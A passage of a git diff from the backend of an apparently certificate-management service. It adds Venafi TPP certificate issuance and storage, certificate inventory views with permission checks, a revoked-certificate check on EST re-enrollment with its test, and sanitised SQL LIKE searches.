+            "Venafi TPP: Failed to retrieve certificate after all retry attempts"
+          );
+          throw new BadRequestError({
+            message: `Certificate request submitted to Venafi TPP (DN: ${requestResponse.CertificateDN}) but failed to retrieve after ${maxRetries} attempts. The certificate may still be pending approval or processing. Last error: ${lastError?.message || "Unknown error"}`
+          });
+        }
+      }
+
+      let cleanedCertificatePem = certificateResult.certificate.trim();
+      cleanedCertificatePem = cleanedCertificatePem
+        .replace(new RE2("\\r\\n", "g"), "\n")
+        .replace(new RE2("\\r", "g"), "\n")
+        .trim();
+
+      let certObj: x509.X509Certificate;
+      try {
+        certObj = new x509.X509Certificate(cleanedCertificatePem);
+      } catch (error) {
+        logger.error(
+          {
+            caId,
+            commonName,
+            certPemLength: cleanedCertificatePem.length,
+            certPemStart: cleanedCertificatePem.substring(0, 100),
+            parseError: error instanceof Error ? error.message : "Unknown error"
+          },
+          "Venafi TPP: Failed to parse certificate returned from TPP"
+        );
+        throw new BadRequestError({
+          message: `Failed to parse certificate from Venafi TPP: ${error instanceof Error ? error.message : "Unknown error"}`
+        });
+      }
+
+      logger.info(
+        {
+          serialNumber: certObj.serialNumber,
+          subject: certObj.subject,
+          notBefore: certObj.notBefore,
+          notAfter: certObj.notAfter,
+          caId
+        },
+        "Venafi TPP: Certificate issued successfully"
+      );
+
+      const { cipherTextBlob: encryptedCertificate } = await kmsEncryptor({
+        plainText: Buffer.from(new Uint8Array(certObj.rawData))
+      });
+
+      const certificateChainPem = certificateResult.chain || "";
+
+      const { cipherTextBlob: encryptedCertificateChain } = await kmsEncryptor({
+        plainText: Buffer.from(certificateChainPem)
+      });
+
+      let certificateId: string;
+
+      await certificateDAL.transaction(async (tx) => {
+        const cert = await certificateDAL.create(
+          {
+            caId: ca.id,
+            profileId,
+            status: CertStatus.ACTIVE,
+            friendlyName: commonName,
+            commonName,
+            altNames: altNames.map((san) => san.value).join(","),
+            serialNumber: certObj.serialNumber,
+            notBefore: certObj.notBefore,
+            notAfter: certObj.notAfter,
+            keyUsages,
+            extendedKeyUsages,
+            keyAlgorithm,
+            signatureAlgorithm,
+            projectId: ca.projectId,
+            renewedFromCertificateId: isRenewal && originalCertificateId ? originalCertificateId : null
+          },
+          tx
+        );
+
+        certificateId = cert.id;
+
+        if (isRenewal && originalCertificateId) {
+          await certificateDAL.updateById(originalCertificateId, { renewedByCertificateId: cert.id }, tx);
+        }
+
+        await certificateBodyDAL.create(
+          {
+            certId: cert.id,
+            encryptedCertificate,
+            encryptedCertificateChain
+          },
+          tx
+        );
+
+        if (skLeaf) {
+          const { cipherTextBlob: encryptedPrivateKey } = await kmsEncryptor({
+            plainText: Buffer.from(skLeaf)
+          });
+
+          await certificateSecretDAL.create(
+            {
+              certId: cert.id,
+              encryptedPrivateKey
+            },
+            tx
+          );
+        }
+
+        if (profileId && validity?.ttl && certificateProfileDAL) {
+          const profile = await certificateProfileDAL.findById(profileId, tx);
+          if (profile) {
+            const finalRenewBeforeDays = calculateFinalRenewBeforeDays(
+              profile as { apiConfig?: { autoRenew?: boolean; renewBeforeDays?: number } },
+              validity.ttl
+            );
+            if (finalRenewBeforeDays !== undefined) {
+              await certificateDAL.updateById(cert.id, { renewBeforeDays: finalRenewBeforeDays }, tx);
+            }
+          }
+        }
+      });
+
+      logger.info(
+        {
+          certificateId: certificateId!,
+          caId,
+          commonName,
+          serialNumber: certObj.serialNumber
+        },
+        "Venafi TPP: Certificate stored in database"
+      );
+
+      return {
+        certificate: cleanedCertificatePem,
+        certificateChain: certificateChainPem,
+        privateKey: skLeaf || "",
+        serialNumber: certObj.serialNumber,
+        certificateId: certificateId!,
+        ca: venafiCa
+      };
+    } catch (error: unknown) {
+      if (error instanceof BadRequestError || error instanceof NotFoundError) {
+        throw error;
+      }
+      if (error instanceof AxiosError) {
+        const statusCode = error.response?.status;
+        // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment
+        const responseData = error.response?.data;
+
+        logger.error(
+          {
+            statusCode,
+            // eslint-disable-next-line @typescript-eslint/no-unsafe-assignment
+            responseData,
+            caId,
+            commonName
+          },
+          "Venafi TPP: Failed to issue certificate"
+        );
+
+        throw new BadRequestError({
+          // eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
+          message: `Venafi TPP certificate issuance failed: ${responseData?.Error || error.message}`
+        });
+      }
+      logger.error(error, "Venafi TPP: Unexpected error during certificate issuance");
+      throw new BadRequestError({
+        message: `Venafi TPP certificate issuance failed: ${(error as Error)?.message || "Unknown error"}`
+      });
+    } finally {
+      if (accessToken) {
+        await revokeVenafiTppToken({ gatewayId, credentials }, accessToken, gatewayV2Service);
+      }
+    }
+  };
+
+  return {
+    createCertificateAuthority,
+    updateCertificateAuthority,
+    listCertificateAuthorities,
+    orderCertificateFromProfile
+  };
+};
diff --git a/backend/src/services/certificate-authority/venafi-tpp/venafi-tpp-certificate-authority-schemas.ts b/backend/src/services/certificate-authority/venafi-tpp/venafi-tpp-certificate-authority-schemas.ts
new file mode 100644
index 00000000000..ec4ff9cada6
--- /dev/null
+++ b/backend/src/services/certificate-authority/venafi-tpp/venafi-tpp-certificate-authority-schemas.ts
@@ -0,0 +1,34 @@
+import { z } from "zod";
+
+import { CaType } from "../certificate-authority-enums";
+import {
+  BaseCertificateAuthoritySchema,
+  GenericCreateCertificateAuthorityFieldsSchema,
+  GenericUpdateCertificateAuthorityFieldsSchema
+} from "../certificate-authority-schemas";
+
+export const VenafiTppCertificateAuthorityConfigurationSchema = z.object({
+  appConnectionId: z.string().uuid().trim().describe("The Venafi TPP App Connection ID."),
+  policyDN: z
+    .string()
+    .trim()
+    .min(1, "Policy DN is required")
+    .describe("The policy folder DN in Venafi TPP (e.g., '\\\\VED\\\\Policy\\\\Certificates').")
+});
+
+export const VenafiTppCertificateAuthoritySchema = BaseCertificateAuthoritySchema.extend({
+  type: z.literal(CaType.VENAFI_TPP),
+  configuration: VenafiTppCertificateAuthorityConfigurationSchema
+});
+
+export const CreateVenafiTppCertificateAuthoritySchema = GenericCreateCertificateAuthorityFieldsSchema(
+  CaType.VENAFI_TPP
+).extend({
+  configuration: VenafiTppCertificateAuthorityConfigurationSchema
+});
+
+export const UpdateVenafiTppCertificateAuthoritySchema = GenericUpdateCertificateAuthorityFieldsSchema(
+  CaType.VENAFI_TPP
+).extend({
+  configuration: VenafiTppCertificateAuthorityConfigurationSchema.optional()
+});
diff --git a/backend/src/services/certificate-authority/venafi-tpp/venafi-tpp-certificate-authority-types.ts b/backend/src/services/certificate-authority/venafi-tpp/venafi-tpp-certificate-authority-types.ts
new file mode 100644
index 00000000000..f53e74a3d6e
--- /dev/null
+++ b/backend/src/services/certificate-authority/venafi-tpp/venafi-tpp-certificate-authority-types.ts
@@ -0,0 +1,13 @@
+import { z } from "zod";
+
+import {
+  CreateVenafiTppCertificateAuthoritySchema,
+  UpdateVenafiTppCertificateAuthoritySchema,
+  VenafiTppCertificateAuthoritySchema
+} from "./venafi-tpp-certificate-authority-schemas";
+
+export type TVenafiTppCertificateAuthority = z.infer<typeof VenafiTppCertificateAuthoritySchema>;
+
+export type TCreateVenafiTppCertificateAuthorityDTO = z.infer<typeof CreateVenafiTppCertificateAuthoritySchema>;
+
+export type TUpdateVenafiTppCertificateAuthorityDTO = z.infer<typeof UpdateVenafiTppCertificateAuthoritySchema>;
diff --git a/backend/src/services/certificate-common/certificate-constants.ts b/backend/src/services/certificate-common/certificate-constants.ts
index 78fe1ef2ebc..967ed6550e4 100644
--- a/backend/src/services/certificate-common/certificate-constants.ts
+++ b/backend/src/services/certificate-common/certificate-constants.ts
@@ -1,6 +1,7 @@
 export enum CertificateRequestStatus {
   PENDING_APPROVAL = "pending_approval",
   PENDING = "pending",
+  PENDING_VALIDATION = "pending_validation",
   ISSUED = "issued",
   FAILED = "failed",
   REJECTED = "rejected"
diff --git a/backend/src/services/certificate-common/external-metadata-schemas.ts b/backend/src/services/certificate-common/external-metadata-schemas.ts
new file mode 100644
index 00000000000..ec50a12d7ef
--- /dev/null
+++ b/backend/src/services/certificate-common/external-metadata-schemas.ts
@@ -0,0 +1,28 @@
+import { z } from "zod";
+
+import { AWSRegion } from "@app/services/app-connection/app-connection-enums";
+import { AwsAcmValidationMethod } from "@app/services/certificate-authority/aws-acm-public-ca/aws-acm-public-ca-certificate-authority-enums";
+import { CaType } from "@app/services/certificate-authority/certificate-authority-enums";
+
+export const AwsAcmPublicCaExternalMetadataSchema = z.object({
+  type: z.literal(CaType.AWS_ACM_PUBLIC_CA),
+  arn: z.string(),
+  region: z.nativeEnum(AWSRegion),
+  validationMethod: z.nativeEnum(AwsAcmValidationMethod)
+});
+
+export type TAwsAcmPublicCaExternalMetadata = z.infer<typeof AwsAcmPublicCaExternalMetadataSchema>;
+
+export const DigiCertExternalMetadataSchema = z.object({
+  type: z.literal(CaType.DIGICERT),
+  orderId: z.number().int().positive()
+});
+
+export type TDigiCertExternalMetadata = z.infer<typeof DigiCertExternalMetadataSchema>;
+
+export const ExternalMetadataSchema = z.discriminatedUnion("type", [
+  AwsAcmPublicCaExternalMetadataSchema,
+  DigiCertExternalMetadataSchema
+]);
+
+export type TExternalMetadata = z.infer<typeof ExternalMetadataSchema>;
diff --git a/backend/src/services/certificate-est-v3/certificate-est-v3-service.test.ts b/backend/src/services/certificate-est-v3/certificate-est-v3-service.test.ts
index 5b2b77d0249..f71f725b937 100644
--- a/backend/src/services/certificate-est-v3/certificate-est-v3-service.test.ts
+++ b/backend/src/services/certificate-est-v3/certificate-est-v3-service.test.ts
@@ -6,7 +6,8 @@
 /* eslint-disable @typescript-eslint/no-explicit-any */
 import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
 
-import { BadRequestError, NotFoundError } from "@app/lib/errors";
+import { BadRequestError, NotFoundError, UnauthorizedError } from "@app/lib/errors";
+import { CertStatus } from "@app/services/certificate/certificate-types";
 import { CertificateRequestStatus } from "@app/services/certificate-request/certificate-request-types";
 
 import { EnrollmentType } from "../certificate-profile/certificate-profile-types";
@@ -31,6 +32,14 @@ vi.mock("@peculiar/x509", () => ({
     cRLSign: 64,
     encipherOnly: 128,
     decipherOnly: 256
+  },
+  ExtendedKeyUsage: {
+    clientAuth: "1.3.6.1.5.5.7.3.2",
+    serverAuth: "1.3.6.1.5.5.7.3.1",
+    codeSigning: "1.3.6.1.5.5.7.3.3",
+    emailProtection: "1.3.6.1.5.5.7.3.4",
+    ocspSigning: "1.3.6.1.5.5.7.3.9",
+    timeStamping: "1.3.6.1.5.5.7.3.8"
   }
 }));
 
@@ -84,6 +93,11 @@ describe("CertificateEstV3Service", () => {
     findById: vi.fn()
   };
 
+  const mockCertificateDAL = {
+    findOne: vi.fn(),
+    transaction: vi.fn().mockImplementation(async (cb: (tx: unknown) => unknown) => cb({}))
+  };
+
   const mockProjectDAL = {
     findOne: vi.fn(),
     updateById: vi.fn(),
@@ -152,6 +166,7 @@ describe("CertificateEstV3Service", () => {
       certificateV3Service: mockCertificateV3Service,
       certificateAuthorityDAL: mockCertificateAuthorityDAL,
       certificateAuthorityCertDAL: mockCertificateAuthorityCertDAL,
+      certificateDAL: mockCertificateDAL,
       projectDAL: mockProjectDAL,
       kmsService: mockKmsService,
       licenseService: mockLicenseService,
@@ -165,6 +180,7 @@ describe("CertificateEstV3Service", () => {
     mockProjectDAL.findOne.mockResolvedValue(mockProject);
     mockLicenseService.getPlan.mockResolvedValue(mockPlan);
     mockCertificatePolicyDAL.findById.mockResolvedValue(mockPolicy);
+    mockCertificateDAL.findOne.mockResolvedValue(null);
   });
 
   afterEach(() => {
@@ -412,6 +428,20 @@ describe("CertificateEstV3Service", () => {
         })
       ).rejects.toThrow(/requires approval/i);
     });
+
+    it("should reject re-enrollment when the client certificate is revoked", async () => {
+      mockCertificateDAL.findOne.mockResolvedValue({ status: CertStatus.REVOKED });
+
+      await expect(
+        service.simpleReenrollByProfile({
+          csr: "mock-csr",
+          profileId: "profile-123",
+          sslClientCert: encodeURIComponent("-----BEGIN CERTIFICATE-----\nMIIB...\n-----END CERTIFICATE-----")
+        })
+      ).rejects.toThrow(UnauthorizedError);
+
+      expect(mockCertificateV3Service.signCertificateFromProfile).not.toHaveBeenCalled();
+    });
   });
 
   describe("getCaCertsByProfile", () => {
diff --git a/backend/src/services/certificate-est-v3/certificate-est-v3-service.ts b/backend/src/services/certificate-est-v3/certificate-est-v3-service.ts
index e3b6edae301..22275b8e978 100644
--- a/backend/src/services/certificate-est-v3/certificate-est-v3-service.ts
+++ b/backend/src/services/certificate-est-v3/certificate-est-v3-service.ts
@@ -3,7 +3,9 @@ import * as x509 from "@peculiar/x509";
 import { extractX509CertFromChain } from "@app/lib/certificates/extract-certificate";
 import { BadRequestError, NotFoundError, UnauthorizedError } from "@app/lib/errors";
 import { ActorType } from "@app/services/auth/auth-type";
+import { TCertificateDALFactory } from "@app/services/certificate/certificate-dal";
 import { isCertChainValid } from "@app/services/certificate/certificate-fns";
+import { CertStatus } from "@app/services/certificate/certificate-types";
 import { TCertificateAuthorityCertDALFactory } from "@app/services/certificate-authority/certificate-authority-cert-dal";
 import { TCertificateAuthorityDALFactory } from "@app/services/certificate-authority/certificate-authority-dal";
 import { getCaCertChain, getCaCertChains } from "@app/services/certificate-authority/certificate-authority-fns";
@@ -25,6 +27,7 @@ type TCertificateEstV3ServiceFactoryDep = {
   certificateV3Service: Pick<TCertificateV3ServiceFactory, "signCertificateFromProfile">;
   certificateAuthorityDAL: Pick<TCertificateAuthorityDALFactory, "findById" | "findByIdWithAssociatedCa">;
   certificateAuthorityCertDAL: Pick<TCertificateAuthorityCertDALFactory, "find" | "findById">;
+  certificateDAL: Pick<TCertificateDALFactory, "findOne" | "transaction">;
   projectDAL: Pick<TProjectDALFactory, "findOne" | "updateById" | "transaction">;
   kmsService: Pick<TKmsServiceFactory, "decryptWithKmsKey" | "generateKmsKey">;
   licenseService: Pick<TLicenseServiceFactory, "getPlan">;
@@ -39,6 +42,7 @@ export const certificateEstV3ServiceFactory = ({
   certificateV3Service,
   certificateAuthorityCertDAL,
   certificateAuthorityDAL,
+  certificateDAL,
   projectDAL,
   kmsService,
   licenseService,
@@ -249,6 +253,16 @@ export const certificateEstV3ServiceFactory = ({
       });
     }
 
+    // Transaction forces primary (not replica) so a just-revoked cert cannot slip through replica lag.
+    const isRevoked = await certificateDAL.transaction(async (tx) => {
+      const storedCert = await certificateDAL.findOne({ serialNumber: cert.serialNumber, caId: profile.caId }, tx);
+      return storedCert?.status === CertStatus.REVOKED;
+    });
+
+    if (isRevoked) {
+      throw new UnauthorizedError({ message: "Client certificate has been revoked" });
+    }
+
     const csrObj = new x509.Pkcs10CertificateRequest(csr);
     if (csrObj.subject !== cert.subject) {
       throw new BadRequestError({
diff --git a/backend/src/services/certificate-inventory-view/certificate-inventory-view-dal.ts b/backend/src/services/certificate-inventory-view/certificate-inventory-view-dal.ts
new file mode 100644
index 00000000000..be3b1283012
--- /dev/null
+++ b/backend/src/services/certificate-inventory-view/certificate-inventory-view-dal.ts
@@ -0,0 +1,33 @@
+import { TDbClient } from "@app/db";
+import { TableName, TCertificateInventoryViews } from "@app/db/schemas";
+import { DatabaseError } from "@app/lib/errors";
+import { ormify } from "@app/lib/knex";
+
+export type TCertificateInventoryViewDALFactory = ReturnType<typeof certificateInventoryViewDALFactory>;
+
+export const certificateInventoryViewDALFactory = (db: TDbClient) => {
+  const orm = ormify(db, TableName.CertificateInventoryView);
+
+  const findByProjectId = async (projectId: string, userId?: string): Promise<TCertificateInventoryViews[]> => {
+    try {
+      const query = db
+        .replicaNode()(TableName.CertificateInventoryView)
+        .where({ projectId })
+        .andWhere((qb) => {
+          void qb.where({ isShared: true });
+          if (userId) {
+            void qb.orWhere((inner) => {
+              void inner.where({ createdByUserId: userId, isShared: false });
+            });
+          }
+        })
+        .orderBy("name", "asc");
+
+      return (await query) as TCertificateInventoryViews[];
+    } catch (error) {
+      throw new DatabaseError({ error, name: "Find certificate inventory views by project" });
+    }
+  };
+
+  return { ...orm, findByProjectId };
+};
diff --git a/backend/src/services/certificate-inventory-view/certificate-inventory-view-service.ts b/backend/src/services/certificate-inventory-view/certificate-inventory-view-service.ts
new file mode 100644
index 00000000000..a131ef93df3
--- /dev/null
+++ b/backend/src/services/certificate-inventory-view/certificate-inventory-view-service.ts
@@ -0,0 +1,256 @@
+import { ForbiddenError } from "@casl/ability";
+
+import { ActionProjectType } from "@app/db/schemas";
+import { BadRequestError, DatabaseError, NotFoundError } from "@app/lib/errors";
+import { TProjectPermission } from "@app/lib/types";
+
+import { TPermissionServiceFactory } from "../../ee/services/permission/permission-service-types";
+import { ProjectPermissionActions, ProjectPermissionSub } from "../../ee/services/permission/project-permission";
+import { NON_PQC_KEY_ALGORITHMS, PQC_KEY_ALGORITHMS } from "../certificate/certificate-dal";
+import { TCertificateInventoryViewDALFactory } from "./certificate-inventory-view-dal";
+import {
+  TCreateInventoryViewDTO,
+  TDeleteInventoryViewDTO,
+  TListInventoryViewsDTO,
+  TUpdateInventoryViewDTO
+} from "./certificate-inventory-view-types";
+
+type TSystemViewFilters = {
+  status?: string[];
+  notAfterTo?: string;
+  keyAlgorithm?: string[];
+};
+
+type TSystemView = {
+  id: string;
+  name: string;
+  filters: TSystemViewFilters;
+  columns: null;
+  isSystem: true;
+  createdByUserId: null;
+};
+
+const SYSTEM_VIEWS: TSystemView[] = [
+  { id: "system-all", name: "All Certificates", filters: {}, columns: null, isSystem: true, createdByUserId: null },
+  {
+    id: "system-expiring-7d",
+    name: "Expiring in 7 days",
+    filters: { status: ["active"], notAfterTo: "+7d" },
+    columns: null,
+    isSystem: true,
+    createdByUserId: null
+  },
+  {
+    id: "system-expiring-30d",
+    name: "Expiring in 30 days",
+    filters: { status: ["active"], notAfterTo: "+30d" },
+    columns: null,
+    isSystem: true,
+    createdByUserId: null
+  },
+  {
+    id: "system-expired",
+    name: "Expired",
+    filters: { status: ["expired"] },
+    columns: null,
+    isSystem: true,
+    createdByUserId: null
+  },
+  {
+    id: "system-revoked",
+    name: "Revoked",
+    filters: { status: ["revoked"] },
+    columns: null,
+    isSystem: true,
+    createdByUserId: null
+  },
+  {
+    id: "system-pqc",
+    name: "Post-Quantum (PQC)",
+    filters: { keyAlgorithm: PQC_KEY_ALGORITHMS },
+    columns: null,
+    isSystem: true,
+    createdByUserId: null
+  },
+  {
+    id: "system-non-pqc",
+    name: "Classical (Non-PQC)",
+    filters: { keyAlgorithm: NON_PQC_KEY_ALGORITHMS },
+    columns: null,
+    isSystem: true,
+    createdByUserId: null
+  }
+];
+
+type TCertificateInventoryViewServiceFactoryDep = {
+  certificateInventoryViewDAL: TCertificateInventoryViewDALFactory;
+  permissionService: Pick<TPermissionServiceFactory, "getProjectPermission">;
+};
+
+export type TCertificateInventoryViewServiceFactory = ReturnType<typeof certificateInventoryViewServiceFactory>;
+
+export const certificateInventoryViewServiceFactory = ({
+  certificateInventoryViewDAL,
+  permissionService
+}: TCertificateInventoryViewServiceFactoryDep) => {
+  const checkProjectPermission = async (
+    dto: Pick<TProjectPermission, "actor" | "actorId" | "actorOrgId" | "actorAuthMethod"> & { projectId: string },
+    action: ProjectPermissionActions = ProjectPermissionActions.Read
+  ) => {
+    const { permission } = await permissionService.getProjectPermission({
+      actor: dto.actor,
+      actorId: dto.actorId,
+      projectId: dto.projectId,
+      actorAuthMethod: dto.actorAuthMethod,
+      actorOrgId: dto.actorOrgId,
+      actionProjectType: ActionProjectType.CertificateManager
+    });
+
+    ForbiddenError.from(permission).throwUnlessCan(action, ProjectPermissionSub.CertificateInventoryViews);
+
+    return permission;
+  };
+
+  const listViews = async ({ projectId, actor, actorId, actorOrgId, actorAuthMethod }: TListInventoryViewsDTO) => {
+    await checkProjectPermission({ projectId, actor, actorId, actorOrgId, actorAuthMethod });
+
+    const allViews = await certificateInventoryViewDAL.findByProjectId(projectId, actorId);
+
+    const sharedViews = allViews.filter((v) => v.isShared);
+    const customViews = allViews.filter((v) => !v.isShared);
+
+    return {
+      systemViews: SYSTEM_VIEWS,
+      sharedViews: sharedViews.map((v) => ({
+        ...v,
+        isSystem: false as const,
+        isShared: true as const
+      })),
+      customViews: customViews.map((v) => ({
+        ...v,
+        isSystem: false as const,
+        isShared: false as const
+      }))
+    };
+  };
+
+  const createView = async ({
+    projectId,
+    name,
+    filters,
+    columns,
+    isShared = false,
+    actor,
+    actorId,
+    actorOrgId,
+    actorAuthMethod
+  }: TCreateInventoryViewDTO) => {
+    await checkProjectPermission(
+      { projectId, actor, actorId, actorOrgId, actorAuthMethod },
+      ProjectPermissionActions.Create
+    );
+
+    try {
+      const view = await certificateInventoryViewDAL.create({
+        projectId,
+        name,
+        filters: JSON.stringify(filters),
+        columns: columns ? JSON.stringify(columns) : undefined,
+        createdByUserId: actorId,
+        isShared
+      });
+
+      return view;
+    } catch (error) {
+      if (error instanceof DatabaseError && (error.error as { code?: string })?.code === "23505") {
+        throw new BadRequestError({
+          message: isShared
+            ? "A shared view with this name already exists in this project"
+            : "You already have a view with this name"
+        });
+      }
+      throw error;
+    }
+  };
+
+  const updateView = async ({
+    viewId,
+    projectId,
+    name,
+    filters,
+    columns,
+    isShared,
+    actor,
+    actorId,
+    actorOrgId,
+    actorAuthMethod
+  }: TUpdateInventoryViewDTO) => {
+    await checkProjectPermission(
+      { projectId, actor, actorId, actorOrgId, actorAuthMethod },
+      ProjectPermissionActions.Edit
+    );
+
+    const existing = await certificateInventoryViewDAL.findById(viewId);
+    if (!existing || existing.projectId !== projectId) {
+      throw new NotFoundError({ message: "View not found" });
+    }
+
+    if (existing.createdByUserId !== actorId) {
+      throw new BadRequestError({ message: "You can only update your own views" });
+    }
+
+    try {
+      const view = await certificateInventoryViewDAL.updateById(viewId, {
+        ...(name !== undefined && { name }),
+        ...(filters !== undefined && { filters: JSON.stringify(filters) }),
+        ...(columns !== undefined && { columns: columns ? JSON.stringify(columns) : null }),
+        ...(isShared !== undefined && { isShared })
+      });
+
+      return view;
+    } catch (error) {
+      if (error instanceof DatabaseError && (error.error as { code?: string })?.code === "23505") {
+        throw new BadRequestError({
+          message: isShared
+            ? "A shared view with this name already exists in this project"
+            : "You already have a view with this name"
+        });
+      }
+      throw error;
+    }
+  };
+
+  const deleteView = async ({
+    viewId,
+    projectId,
+    actor,
+    actorId,
+    actorOrgId,
+    actorAuthMethod
+  }: TDeleteInventoryViewDTO) => {
+    await checkProjectPermission(
+      { projectId, actor, actorId, actorOrgId, actorAuthMethod },
+      ProjectPermissionActions.Delete
+    );
+
+    const existing = await certificateInventoryViewDAL.findById(viewId);
+    if (!existing || existing.projectId !== projectId) {
+      throw new NotFoundError({ message: "View not found" });
+    }
+
+    if (existing.createdByUserId !== actorId) {
+      throw new BadRequestError({ message: "You can only delete your own views" });
+    }
+
+    await certificateInventoryViewDAL.deleteById(viewId);
+
+    return existing;
+  };
+
+  return {
+    listViews,
+    createView,
+    updateView,
+    deleteView
+  };
+};
diff --git a/backend/src/services/certificate-inventory-view/certificate-inventory-view-types.ts b/backend/src/services/certificate-inventory-view/certificate-inventory-view-types.ts
new file mode 100644
index 00000000000..a5b941505e9
--- /dev/null
+++ b/backend/src/services/certificate-inventory-view/certificate-inventory-view-types.ts
@@ -0,0 +1,41 @@
+import { TProjectPermission } from "@app/lib/types";
+
+export type TInventoryViewFilters = {
+  status?: string;
+  notAfterTo?: Date;
+  notAfterFrom?: Date;
+  notBeforeTo?: Date;
+  notBeforeFrom?: Date;
+  enrollmentTypes?: string[];
+  keyAlgorithm?: string | string[];
+  keySizes?: number[];
+  caIds?: string[];
+  profileIds?: string[];
+  source?: string | string[];
+};
+
+export type TListInventoryViewsDTO = {
+  projectId: string;
+} & Omit<TProjectPermission, "projectId">;
+
+export type TCreateInventoryViewDTO = {
+  projectId: string;
+  name: string;
+  filters: TInventoryViewFilters;
+  columns?: string[];
+  isShared?: boolean;
+} & Omit<TProjectPermission, "projectId">;
+
+export type TUpdateInventoryViewDTO = {
+  viewId: string;
+  projectId: string;
+  name?: string;
+  filters?: TInventoryViewFilters;
+  columns?: string[];
+  isShared?: boolean;
+} & Omit<TProjectPermission, "projectId">;
+
+export type TDeleteInventoryViewDTO = {
+  viewId: string;
+  projectId: string;
+} & Omit<TProjectPermission, "projectId">;
diff --git a/backend/src/services/certificate-policy/certificate-policy-dal.ts b/backend/src/services/certificate-policy/certificate-policy-dal.ts
index 4110c93f0d4..fcc21ec829b 100644
--- a/backend/src/services/certificate-policy/certificate-policy-dal.ts
+++ b/backend/src/services/certificate-policy/certificate-policy-dal.ts
@@ -3,6 +3,7 @@ import { Knex } from "knex";
 import { TDbClient } from "@app/db";
 import { TableName, TPkiCertificatePoliciesInsert } from "@app/db/schemas";
 import { DatabaseError } from "@app/lib/errors";
+import { sanitizeSqlLikeString } from "@app/lib/fn";
 import { ormify } from "@app/lib/knex";
 import {
   applyProcessedPermissionRulesToQuery,
@@ -158,7 +159,9 @@ export const certificatePolicyDALFactory = (db: TDbClient) => {
 
       if (search) {
         query = query.where((builder) => {
-          void builder.whereILike("name", `%${search}%`).orWhereILike("description", `%${search}%`);
+          void builder
+            .whereILike("name", `%${sanitizeSqlLikeString(search)}%`)
+            .orWhereILike("description", `%${sanitizeSqlLikeString(search)}%`);
         });
       }
 
@@ -193,7 +196,9 @@ export const certificatePolicyDALFactory = (db: TDbClient) => {
 
       if (search) {
         query = query.where((builder) => {
-          void builder.whereILike("name", `%${search}%`).orWhereILike("description", `%${search}%`);
+          void builder
+            .whereILike("name", `%${sanitizeSqlLikeString(search)}%`)
+            .orWhereILike("description", `%${sanitizeSqlLikeString(search)}%`);
         });
       }
 
diff --git a/backend/src/services/certificate-profile/certificate-profile-dal.ts b/backend/src/services/certificate-profile/certificate-profile-dal.ts
index b0ba1f02c75..2276483277a 100644
--- a/backend/src/services/certificate-profile/certificate-profile-dal.ts
+++ b/backend/src/services/certificate-profile/certificate-profile-dal.ts
@@ -205,7 +205,16 @@ export const certificateProfileDALFactory = (db: TDbClient) => {
           db
             .ref("allowCertBasedRenewal")
             .withSchema(TableName.PkiScepEnrollmentConfig)
-            .as("scepConfigAllowCertBasedRenewal")
+            .as("scepConfigAllowCertBasedRenewal"),
+          db.ref("challengeType").withSchema(TableName.PkiScepEnrollmentConfig).as("scepConfigChallengeType"),
+          db
+            .ref("dynamicChallengeExpiryMinutes")
+            .withSchema(TableName.PkiScepEnrollmentConfig)
+            .as("scepConfigDynamicChallengeExpiryMinutes"),
+          db
+            .ref("dynamicChallengeMaxPending")
+            .withSchema(TableName.PkiScepEnrollmentConfig)
+            .as("scepConfigDynamicChallengeMaxPending")
         )
         .where(`${TableName.PkiCertificateProfile}.id`, id)
         .first();
@@ -247,7 +256,10 @@ export const certificateProfileDALFactory = (db: TDbClient) => {
             raCertificatePem: result.scepConfigRaCertificate,
             raCertExpiresAt: result.scepConfigRaCertExpiresAt,
             includeCaCertInResponse: result.scepConfigIncludeCaCertInResponse ?? true,
-            allowCertBasedRenewal: result.scepConfigAllowCertBasedRenewal ?? true
+            allowCertBasedRenewal: result.scepConfigAllowCertBasedRenewal ?? true,
+            challengeType: result.scepConfigChallengeType,
+            dynamicChallengeExpiryMinutes: result.scepConfigDynamicChallengeExpiryMinutes,
+            dynamicChallengeMaxPending: result.scepConfigDynamicChallengeMaxPending
           } as TCertificateProfileWithConfigs["scepConfig"])
         : undefined;
 
@@ -430,7 +442,16 @@ export const certificateProfileDALFactory = (db: TDbClient) => {
             .ref("includeCaCertInResponse")
             .withSchema(TableName.PkiScepEnrollmentConfig)
             .as("scepIncludeCaCertInResponse"),
-          db.ref("allowCertBasedRenewal").withSchema(TableName.PkiScepEnrollmentConfig).as("scepAllowCertBasedRenewal")
+          db.ref("allowCertBasedRenewal").withSchema(TableName.PkiScepEnrollmentConfig).as("scepAllowCertBasedRenewal"),
+          db.ref("challengeType").withSchema(TableName.PkiScepEnrollmentConfig).as("scepChallengeType"),
+          db
+            .ref("dynamicChallengeExpiryMinutes")
+            .withSchema(TableName.PkiScepEnrollmentConfig)
+            .as("scepDynamicChallengeExpiryMinutes"),
+          db
+            .ref("dynamicChallengeMaxPending")
+            .withSchema(TableName.PkiScepEnrollmentConfig)
+            .as("scepDynamicChallengeMaxPending")
         );
 
       if (processedRules) {
@@ -479,7 +500,10 @@ export const certificateProfileDALFactory = (db: TDbClient) => {
               raCertificatePem: result.scepRaCertificate as string,
               raCertExpiresAt: result.scepRaCertExpiresAt as Date,
               includeCaCertInResponse: (result.scepIncludeCaCertInResponse as boolean) ?? true,
-              allowCertBasedRenewal: (result.scepAllowCertBasedRenewal as boolean) ?? true
+              allowCertBasedRenewal: (result.scepAllowCertBasedRenewal as boolean) ?? true,
+              challengeType: result.scepChallengeType as string,
+              dynamicChallengeExpiryMinutes: result.scepDynamicChallengeExpiryMinutes as number,
+              dynamicChallengeMaxPending: result.scepDynamicChallengeMaxPending as number
             }
           : undefined;
 
diff --git a/backend/src/services/certificate-profile/certificate-profile-external-config-schemas.ts b/backend/src/services/certificate-profile/certificate-profile-external-config-schemas.ts
index 7ffdc896494..f1542367f84 100644
--- a/backend/src/services/certificate-profile/certificate-profile-external-config-schemas.ts
+++ b/backend/src/services/certificate-profile/certificate-profile-external-config-schemas.ts
@@ -22,6 +22,21 @@ export const AcmeExternalConfigSchema = z.object({});
  */
 export const AwsPcaExternalConfigSchema = z.object({});
 
+/**
+ * External configuration schema for DigiCert Certificate Authority
+ */
+export const DigiCertExternalConfigSchema = z.object({});
+
+/**
+ * External configuration schema for AWS ACM Public Certificate Authority
+ */
+export const AwsAcmPublicCaExternalConfigSchema = z.object({});
+
+/**
+ * External configuration schema for Venafi TPP Certificate Authority
+ */
+export const VenafiTppExternalConfigSchema = z.object({});
+
